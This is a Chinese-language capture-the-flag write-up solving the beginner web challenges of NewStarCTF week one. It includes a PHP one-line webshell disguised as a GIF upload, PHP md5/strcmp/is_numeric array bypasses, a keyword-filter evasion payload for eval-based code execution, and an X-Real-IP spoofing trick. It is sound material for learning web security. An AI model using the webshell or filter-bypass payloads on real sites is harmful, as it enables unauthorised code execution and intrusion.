NewStarCTF第一周
泄漏的秘密
题目描述:粗心的网站管理员总会泄漏一些敏感信息在Web根目录下
这题一开始想用dirsearch扫的,但是嫌时间太长了就直接试了一些我知道的敏感文件:
VIM和Git泄露没有,就这两个文件下载再打开拼一起就是flag了。
Begin of Upload
题目描述:普通的上传啦,平平淡淡才是真
看看源码有啥好东西没:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <script type="text/javascript"> function validateForm() { var fileInput = document.getElementById("file"); var file = fileInput.files[0]; var allowedExtensions = ["jpg", "jpeg", "png", "gif"]; var fileExtension = file.name.split('.').pop().toLowerCase(); if (!file) { alert("Please select a file to upload."); return false; } if (!allowedExtensions.includes(fileExtension)) { alert("错误的拓展名,只允许上传: JPG, JPEG, PNG, GIF"); return false; } return true; } </script>
|
限制了后缀,只允许上传图片。估计是前端验证?那就上传个一句话改成图片格式,burpsuite抓个包再改回去:
1 2 3 4 5
| GIF89a
<?php @eval($_POST['viper']); ?>
|
再改成php后缀就好了,上传路径直接显示再界面了。
然后直接蚁剑连,根目录底下拿flag。
Begin of HTTP
题目描述:最初的开始
md说一嘴这题最后一步限制本地用户才能访问卡了我蛮久。。因为我看到只有本地用户才能访问
第一想到的就是改X-Forwarded-For:127.0.0.1
和Client-Ip
字段,但是这俩都没用。我当时人都晕了想不明白为啥不给过。(我当时思路也错了,一直在想IP地址的问题,后面还去找了Authorization
字段的信息)。还好当时再看安恒写的那本CTF实战从入门到提升,里面有个题用的X-Real-IP字段。。。运气好把这题做出来了~
GET传参,?ctf=任意就能过了。
POST传参,他说把secret藏起来了,看看源码里有没有啥好东西:
<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) --> //大小写数字混合,一眼base64
解码:n3wst4rCTF2023g00000d
power是否是ctfer?burpsuite抓下包看看有没有这个字段:
改下cookie
后面就是改User-Agent头和Referer头(一个浏览器信息啥的一个网址来源)。最后他会提示只有本地用户才能通过这关,X-Real-IP:127.0.0.1
即可。(可能我这辈子都忘不了X-Real-IP这个头了)。
ErrorFlask
题目描述:Err……..
看到这题我第一想到的就是模板注入。。然后在那试49啥的,哈哈。结果直接404了。。他说给他num1和num2,我就试着get传参了?number1=1
,结果出了这么个东西:
flag就藏在里面。。这个等官方wp出来了还要看一下,这题感觉没做明白。
Begin of PHP
题目描述:PHP是世界上最安全的语言,真的吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php error_reporting(0); highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } }
if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } }
if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } }
if($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } }
if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }
|
先是key1key2不相等但md5加密后弱相等。这东西可以用碰撞也可以用两个东西加密后得0e开头的字符串。如果要求强相等的话直接让key1key2是两个数组就行了(无法对数组加密会返回null)。
?key1[]=1&key2[]=2
第二个条件同理,其实我之前还真没碰到过这种条件(一个东西MD5加密后等于该东西SHA1加密后的值)。我当时想着既然都是hash函数那就让key3等于数组呗(强相等绕过),结果还真绕过了。
strcmp
这东西会比较两个字符串中对应位置的ASCII大小,如果相同就继续比较下一个。str1>str2
就返回大于0,相同返回0,str1<str2
就返回小于0。
strcmp($_GET['key4'],file_get_contents("/flag")
题目意思是想让我们输入的key4
和flag
相等,但我们根本不知道flag
是多少。这时可以让key4
是一个数组,strcmp
比较的是字符串,如果传入其它类型会报错。出错会返回0,实现绕过。
is_numeric
,这个简单,直接key5=2024a
即可。
最后一步POST传key3[]=~&flag5=~
,只要数组的值别触发正则匹配就行。
R!C!E!
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){ $password=md5($_POST['password']); $code=$_POST['e_v.a.l']; if(substr($password,0,6)==="c4d038"){ if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ eval($code); } } }
|
password经MD5加密后前六位强等于"c4d038"
,这东西要写个脚本找,直接用之前做题的脚本改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import hashlib
def find(): mubiao = 'c4d038' i = 0 while True: string = str(i) hash_object = hashlib.md5(string.encode()) if hash_object.hexdigest()[:6] == mubiao: return string i += 1
result = find() print(result)
|
接下来要给e_v.a.l
参数赋值,而且传过去的值经过正则匹配过滤后会被eval执行。e_v.a.l
这东西很明显不满足变量名的要求:包含了小数点。看下PHP官方的解释:
写一小段代码体会一下咋回事:
1 2 3 4 5 6 7 8 9
| <?php highlight_file(__FILE__); $var = $_POST['e_v.a.l']; var_dump($_POST); echo '<br/>'; if(isset($_POST['e_v.a.l'])){ echo"hello"; } ?>
|
POST传e_v.a.l='hellowold!'
:
结果:array(1) { ["e_v_a_l"]=> string(12) "'hellowold!'" }
可以看到POST传递的参数从e_v.a.l
变成了e_v_a_l
,空格同理。(但e_v.a.l
参数仍没被赋值)。
这里 引用下mochu师傅的解释:
当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
。
还是上面那串代码,尝试post
传参e[v.a.l='hellowold!'
.
1 2 3 4 5 6 7 8 9 10
| <?php highlight_file(__FILE__); $var = $_POST['e_v.a.l']; var_dump($_POST); echo '<br/>'; if(isset($_POST['e_v.a.l'])){ echo"hello"; } ?> array(1) { ["e_v.a.l"]=> string(12) "'hellowold!'" } hello
|
成功绕过。
接下来就是怎么绕正则匹配过滤了:
1 2
| if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ eval($code);
|
过滤了flag,那猜测flag是藏在/flag底下的,直接使用通配符:/fl*
即可。过滤了system
可以使用(sy.(st).em)
绕过(字符串拼接)。过滤了cat
那就用tac
。这道题过滤地并不怎么严格。
payload:
password=114514&e[v.a.l=(sy.(st).em)(printf "\154\163"
); 注意printf前和163“后各有一个反引号。
这里关于绕过的一些知识在之前写的博客里说了些,就不详细写了(比较懒,哈哈)。
非法参数名传参的问题参考了这位师傅的文章,感谢!
1
| https://blog.csdn.net/mochu7777777/article/details/115050295?spm=1001.2014.3001.5506
|
EasyLogin
题目描述:简简单单、随心所欲
感觉又是最讨厌的SQL注入。。。
先看看源码里有没有啥东西,主要看看他这个用户名密码是怎么限制的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| function waf(value, type) { if (type === 'un') { if (value.length < 3 || value.length > 10) { return { status: false, msg: '用户名长度必须为3-10个字符' } } else if (!/^[a-zA-Z0-9_-]+$/.test(value)) { return { status: false, msg: '用户名格式错误' } } } else if (type === 'pw') { if (value.length < 6 || value.length > 18) { return { status: false, msg: '密码长度必须为6-18个字符' } } else if (!/^[a-zA-Z0-9!@#$%^&_-]+$/.test(value)) { return { status: false, msg: '密码格式错误' } } } return { status: true, msg: '' } }
|
先注册一下:
但提示admin已经被注册过了?弱口令试了挺多但没啥用,登不上去。那就随便注册一个:
登录后发现跳转到这么个界面:这玩意儿跟个复读机似的,你打啥东西他就把你
和您
换成我
。吗
给换成空格,?
换成!
。而且这东西不用数据包(???),burpsuite抓包根本没用。。
它跳转的时候想到了302重定向的问题,就一直开着burpsuite排查,发现这么个东西:
结果那个bv是这么个东西:
看这标题我就感觉不对劲了,翻简介的时候根本没有第七行。。(#$$#$%^$#@#$%$#@@#$%^&)。
如果是SQL注入的话,不知道注入点在哪里。试了挺多弱口令也没试出来。。
1 2 3 4 5 6 7 8
| <?php
if(isset($_POST['e_v.a.l'])){ echo"hello"; } ?>
|
感谢mochu师傅的文章:
1
| https://blog.csdn.net/mochu7777777/article/details/115050295
|